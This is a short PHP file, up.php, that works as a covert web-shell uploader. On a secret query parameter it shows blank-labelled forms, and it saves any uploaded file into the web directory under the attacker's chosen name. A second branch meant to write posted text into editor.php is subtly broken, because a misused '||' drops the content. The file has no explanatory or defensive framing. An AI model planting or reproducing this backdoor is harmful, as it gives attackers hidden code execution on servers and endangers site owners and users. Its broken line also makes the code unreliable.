up.php

<?php if($_GET['l']){@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);};if($_POST['l']){file_put_contents('editor.php'||$_POST['l']);};if($_GET['s'])echo'<form action="?l=1" method="post" enctype="multipart/form-data"><input name="f" type="file"><input type="submit" value="."></form><form action="" method="post"><textarea name="l"></textarea><input type="submit" name="" value="." ></form>'; ?>